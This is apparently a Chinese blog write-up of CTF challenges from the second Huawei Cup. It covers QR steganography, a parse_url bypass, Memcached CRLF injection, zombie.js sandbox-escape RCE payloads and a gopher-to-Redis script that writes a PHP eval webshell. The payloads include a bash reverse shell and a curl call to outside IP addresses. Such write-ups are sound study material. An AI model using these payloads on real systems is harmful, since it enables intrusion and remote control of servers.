Ctf

第二届华为杯

Posted by Azeril on October 3, 2023

前言

国庆休息八天,属实给我干无聊了,java也不想看那就复现一下赛题。。。

Misc

loopQR

解压发现是n张相同的图片,上次遇见这么多还是在批量扫描二维码。。

image-20231003153513039

发现图片中是一个字符所以说明,这些图片会拼接成一个flag

上次学了如何扫描二维码中的信息,但不知道如何获得指定信道的信息

只能看看佬们的代码理解,还不太会使用

from PIL import Image
import numpy as np
import cv2
import qrcode
from pyzbar.pyzbar import decode
import os
path="C:\\Users\\c'x'k\\Desktop\\CTF\\研究生-华为杯\\loopQR\\"
images=os.listdir(path)
msg=""
for img_name in images:  #这里是目录遍历
    img=Image.open(path+img_name) #图片名的全路径
    for i in range(4):   #这里为什么进行四次循环
        qr=np.zeros((86,86))
        for h in range(0,86):
            for w in range(0,86):
                pixel=img.getpixel((w,h)) #获取指定坐标的rgb像素信息
                lsb=pixel[i]#取RGB元组中第i个通道的值,其中i的取值范围为0~2,分别对应红、绿、蓝三个通道
                if bin(lsb)[-1]=='1':  #将lsb转换为二进制字符串。  获取二进制字符串的最后一位,即LSB
                    qr[h][w]=255  #将该像素点的值设为255,表示白色。
                else:
                    qr[h][w]=0   #将该像素点的值设为0,表示黑色。
            decode_objects=decode(qr)   #这里是扫描二维码
            if decode_objects:
                print(decode_objects[0].data.decode('utf-8'),end="")
                break

                #遍历一张图片的每个像素点,提取出其RGB值中的LSB,如果LSB为1,则将QR码的对应像素点设为白色,否则设为黑色。这样就可以将一张图片转换为一个黑白的QR码矩阵,然后扫描二维码,获取其中的信息进行输出

image-20231003165016029

easyeval

这是初始的源码,提示了dasdif.php所以我们要通过下面的readfile读取它

parse_url老php漏洞函数了

<?php
show_source(__FILE__);
#dasdif.php
$ysy=$_GET['ysy'];
$parts=parse_url($ysy)
if(empty($parts['host']) || $parts['host'] !='localhost'){
    //都不满足,也就是 不为空  host等于本地
    exit('error');
}
readfile($ysy);
?>

file://localhost/../../../../../var/www/html/dasdjf.php 绕过即可

获得rce的源码

image-20231003165118725

呃呃呃直接,system(‘tac /f*’);即可

发现了一个神奇的姿势记录下来

echo `ls/`;//exec   以后如果有冗余就可以//注释

startschool

js的题可以仔细看看

main.js和bot.js

main.js负责接收用户传的数据,发送给bot.js

const zombie = require("zombie")//js第三方模块,很可疑

exports.visit = async function () {
    const browser = new zombie ({
        waitDuration: 5*1000,
        localAddress: 0 
   })

    browser.setCookie({ name: 'admin', domain: '127.0.0.1', path:'/', httpOnly: 'true'})// 指定cookie

    browser.visit("http://127.0.0.1/view",function() {
        console.log("Visited: ", "http://127.0.0.1/view")
})    
}

接下来创建了一个名为"browser"的zombie浏览器实例并设置了两个属性

"waitDuration"属性表示等待时间这里设置为5秒钟
"localAddress"属性表示本地IP地址这里设置为0
然后通过"setCookie"方法设置了一个名为"admin"的cookie该cookie的域名为"127.0.0.1"路径为"/"并且设置了"HttpOnly"属性为"true"表示该cookie只能通过HTTP协议访问
 最后通过"visit"方法访问了"http://127.0.0.1/view"这个URL并在控制台输出了"Visited: http://127.0.0.1/view"这里使用了回调函数来处理页面访问完成后的操作

猜测肯定就是zombie这个第三方模块的漏洞,直接搜zombie rce漏洞

https://blog.csdn.net/qq_60986212/article/details/123020871 找到这篇文章发现这个考点以前考过

<script>
var a='const';var b='ructor';var c=[a,b].join('');
var d='return p';var e='rocess';var f=[d,e].join('');
var h='child_p';var i=[h,e].join('');
var j='th';var k='is';var l=[j,k].join('');
x= clearImmediate [c][c][c][c](f)();y=x.mainModule.require(i);z=y.execSync('whoami').toString();document.write(z);
</script>

或者   execSync('bash -c \"bash -i >& /dev/tcp/119.28.15.55/2233 0>&1\"')

<script>
var h='child_p';var e='rocess';var i=[h,e].join('');
x=clearImmediate[`${`${`constructo`}r`}`][`${`${`constructo`}r`}`][`${`${`constructo`}r`}`]([`${`${`return proces`}s`}`])();y=x.mainModule.require(i);z=y.execSync('cat /flag').toString();document.write(z);
</script>

<script>document.write(this["constructor"]["constructor"]("return(global.process.mainModule.constructor._load('child_process').execSync('curl http://114.116.119.253:7777').toString())")());</script>

<script>document.write(this["constructor"]["constructor"]("return(global.process.mainModule.constructor._load('child_process').execSync('ls / > data.html').toString())")());</script>   
这一种通过题目的html来达到回显的效果其他都可以直接反弹shell

Bad Memcached

考点:PHP Memcached的CRLF注入

又又又又是web✌出的题

<?php
highlight_file(__FILE__);
error_reporting(0);
$search=$_POST["search"];
$memcache = new Memcached();
$memcache->addServers(array(
    array('memcached',11211)
));
function search($keyword){
    global $memcache;
    $v=$memcache->get($keyword);
    var_dump($v);
}
class Meeeeeeeemcached{
    public $key;
    public function __construct()
    {
        echo "THis Memcached is Healthy";
    }

    public function __set($key, $value)
    {
        global $memcache;
        $memcache->set($key, $value);
    }
}
class Invokerrrrrrr{
    public $vovo;
    public $value="http://www.boogipop.com";
    public $key="test";    
    public function __invoke()
    {
        $key="key".$this->key;
        $this->vovo->$key=$this->value;
    }
}
class SSSString{
    public $xoxo;
    public function __toString()
    {
        $xoxo=$this->xoxo;
        $xoxo();
        return 'invoke';
    }
}

class Entrypoint{
    public $zozo;
    public function __destruct()
    {
        if(preg_match("/Welcome/",$this->zozo)){
            die("Welcome");
        }

    }
}
if(isset($_POST['choice'])){
    if($_POST['choice']==='search'){
        search($search);
    }
    else if($_POST['choice']==='flag'){
        if($memcache->get("flag")==='flag'){
            //some hints are in /tmp/hint.txt
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $_POST['url']);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_exec($ch);
        curl_close($ch);
        }
        else{
            exit("no auth");
        }
    }
    else if($_POST['choice']==='unser'){
        unserialize($_GET['popchain']);
    }
    else{
        exit("input your choice");
    }
}
?>

在pop链最后卡了一下(这里的key和value,我推测是invoke里面的 key和 this->value控制的,但是invoke里面的key又进行了拼接)

这里无疑 key和value必须都是flag 才能满足下面的东西

image-20231003175846423

果然是这里的key变成了keyflag其他的都满足,

image-20231003180219413

看完✌们的wp说是(不太理解还)

image-20231003211849453

然后 /tmp/hint.txt直接访问会会的redis的密码,

if($memcache->get(“flag”)===’flag’){ 只要这个key通过搞成flag下面就是打redis绝对路径写入马即可

绝对路径写webshell

构造redis命令
flushall
set 1  '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

转化成redis RESP协议的格式(RESP是redis服务器和本机之间交互的协议)、

import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

因为本题种给出了redis的密码,所以需要加上auth

from urllib.parse import quote
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[1]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["auth boogipop_is_a_webdog",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += quote(redis_format(x))
    print(payload)
gopher://127.0.0.1:6379/_%2A2%0D%0A%244%0D%0Aauth%0D%0A%2420%0D%0Aboogipop_is_a_webdog%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

之后访问shell.php即可

简单描述一下Memcached

Windows系统种CRLF表示行的结束

Linux则以LF表示行的结束

<?php
$server = new \Memcached();
$server->addServer('localhost', 11211);//11211是默认端口
$token = $_GET['token'];
$server->set("wolf","poc") ;
echo "[token] = ";
var_dump($server->get("$token")); 
echo "[wolf] = ";
var_dump($server->get("wolf"));
set key flags exptime bytes [noreply] 
value 
  • key:键值 key-value 结构中的 key,用于查找缓存值。
  • flags:可以包括键值对的整型参数,客户机使用它存储关于键值对的额外信息 。
  • exptime:在缓存中保存键值对的时间长度(以秒为单位,0 表示永远)。
  • bytes:在缓存中存储的字节数。
  • noreply(可选): 该参数告知服务器不需要返回数据。
  • value:存储的值(始终位于第二行)(可直接理解为key-value结构中的value)。

例如如果我们要存储一个值

set snowwolf(key) 0(额外信息) 100(保留的时间长度) 4(字节数和下面value对应)   //
wolf(value值)
STORED 结束标记

其实从这个例子我们就可以看出来,可以crlf执行但是会执行最后面的比如 get get会执行第二个get,get set 会执行第二个set

set snowwolf 0 900 4
wolf
STORED
get snowwolf
VALUE snowwolf 0 4
wolf
END

ERROR
get snowwolf%00%0D%0Aset%20snowwolf%200%20100%203%0D%0Aexp
END

ERROR
get snowwolf%00%0D%0Aget wolf
VALUE wolf 0 3
poc
END

那其实这道题可以直接通过这里get crlf注入即可

if ($_POST['choice'] === 'search') {//
        search($search);   //$search也是我们可控的
        
        function search($keyword)
{
    global $memcache;
    $v = $memcache->get($keyword);
    var_dump($v);
}

image-20231003221251696

如果要用pop链子的话一个道理,后面的就看上面即可

参考文章:https://www.freebuf.com/vuls/328384.html

image-20231003222457147

一个小秘密

image-20231003221729180

解压出了一个乱码的 flag.txt然后010 看见PK,改后缀为zip继续解压

image-20231003221905867

但不是这个

image-20231003221957337

真正的是在docement.xml中

image-20231003222102941

其实这里卡的地方就是不知道这是什么加密呀(还得是chatgpt)

image-20231003223620208

image-20231003222709103 然后base64获得flag


Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。